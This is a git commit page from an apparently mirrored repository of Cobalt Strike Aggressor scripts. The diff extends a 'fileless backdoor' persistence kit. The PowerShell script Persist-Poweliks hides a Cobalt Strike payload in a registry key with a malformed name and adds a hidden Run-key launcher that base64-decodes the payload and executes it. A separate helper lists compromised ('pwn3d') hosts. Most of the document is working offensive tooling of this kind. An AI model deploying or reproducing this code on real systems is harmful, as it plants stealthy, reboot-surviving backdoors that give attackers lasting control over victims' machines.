admin/Und3rf10w-Aggressor-scripts
1
0
Fork 0
mirror of https://github.com/Und3rf10w/Aggressor-scripts synced 2026-06-08 12:46:53 +00:00
Code Issues Packages Projects Releases Wiki Activity

added additional functionality to fileless backdoor

Browse Source
This commit is contained in:
Jonathan Echavarria
2017-01-05 12:19:21 -05:00
parent 44ef6897eb
commit e9fac0143c
3 changed files with 88 additions and 10 deletions
Download Patch File Download Diff File Expand all files Collapse all files
kits/DebugKit/DebugKit.cna
+8
View File
@@ -31,6 +31,14 @@ command !who{
println("\c7Current logged on users are: \cF" . data_query('users'));
}
# This command shows a hostname of every sessions that happened, active or inactive. Basically just to provide a list of pwned hosts.
command !pwn3d_hosts {
foreach $session (data_query('sessions')) {
$computer = $session['computer'];
println($computer);
}
}
popup beacon_bottom {
menu "DebugKit" {
item "Notify at next check-in"{
kits/PersistKit/PersistKit.cna
+23 -7
View File
@@ -33,7 +33,7 @@ sub createFilelessBackdoor{
binput($bid, "powershell-import Persist-Poweliks.ps1");
bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1"));
binput($bid, "powershell Persist-Poweliks");
bpowershell($bid, "Persist-Poweliks -cobaltstrike_gen_payload \" $+ $psPayload $+ \"");
bpowerpick($bid, "Persist-Poweliks -cobaltstrike_gen_payload \" $+ $psPayload $+ \"");
}
# Returns a string to use for the reg key name
@@ -84,12 +84,28 @@ popup beacon_bottom {
}, $bid => $1));
}
}
item "Create fileless backdoor"{
local('$bid');
foreach $bid ($1){
openPayloadHelper(lambda({
createFilelessBackdoor($bid, $1);
}, $bid => $1));
menu "Fileless backdoor" {
item "Create fileless backdoor"{
local('$bid');
foreach $bid ($1){
openPayloadHelper(lambda({
createFilelessBackdoor($bid, $1);
}, $bid => $1));
}
}
item "Check for fileless backdoor"{
local('$bid');
foreach $bid ($1){
bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1"));
bpowershell($bid, "Test-Poweliks");
}
}
item "Remove fileless backdoor"{
local('$bid');
foreach $bid ($1){
bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1"));
bpowershell($bid, "Remove-Poweliks");
}
}
}
}
kits/PersistKit/scripts/Persist-Poweliks.ps1
+57 -3
View File
@@ -23,7 +23,7 @@ PS C:\> Persist-Poweliks -cobaltstrike_gen_payload <provided by cobalt strike>
[Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n
$malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary)
$powershell_path = (Get-Process powershell | select -First 1).path
$powershell_path = "$PSHome\powershell.exe"
#Write the malformed registry key
new-item -path "HKLM:SOFTWARE\$malformed_string" -force
@@ -31,5 +31,59 @@ PS C:\> Persist-Poweliks -cobaltstrike_gen_payload <provided by cobalt strike>
#Write the powershell bytecode to a key, $malformed_string, in HKLM:SOFTWARE\$malformed_string
new-ItemProperty -path "HKLM:SOFTWARE\$malformed_string" -name "$malformed_string" -value "$cobaltstrike_gen_payload"
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "$powershell_path -windowstyle hidden -c `"`$val = (gp HKLM:SOFTWARE\`'$malformed_string`').`'$malformed_string`'; $powershell_path -windowstyle hidden -ec `$val`""
}
# Double powershell method (will have 2 instances of powershell running)
# New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "$powershell_path -windowstyle hidden -c `"`$val = (gp HKLM:SOFTWARE\`'$malformed_string`').`'$malformed_string`'; $powershell_path -windowstyle hidden -ec `$val`""
# Single powershell method (will have one instance of powershell.exe running)
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "$powershell_path -windowstyle hidden -c `"`$val = (gp HKLM:SOFTWARE\`'$malformed_string`').`'$malformed_string`'; `$d = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String(`$val)); iex `$d`""
}
function Test-Poweliks{
<#
.DESCRIPTION
This function checks for the presence of a backdoor that would have been added by the Persist-Poweliks function
.EXAMPLE
PS C:\> Test-Poweliks
#>
[Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n
$malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary)
if (Test-Path "HKLM:\SOFTWARE\$malformed_string") {
echo "[*] Backdoor exists"
} else {
echo "[!] No backdoor present"
}
if (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "$malformed_string") {
echo "[*] Launcher exists"
} else {
echo "[!] No launcher present"
}
}
function Remove-Poweliks{
<#
.DESCRIPTION
This function removes a backdoor added by the Persist-Poweliks function
.EXAMPLE
PS C:\> Remove-Poweliks
#>
[Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n
$malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary)
if (Test-Path "HKLM:\SOFTWARE\$malformed_string") {
Remove-Item -Path "HKLM:\SOFTWARE\$malformed_string"
echo "[*] Backdoor Removed"
} else {
echo "[!] Error Removing Backdoor (already removed?)"
}
if (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "$malformed_string") {
Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name "$malformed_string"
echo "[*] Launcher Removed"
} else {
echo "[!] Error Remove Launcher (already removed?)"
}
}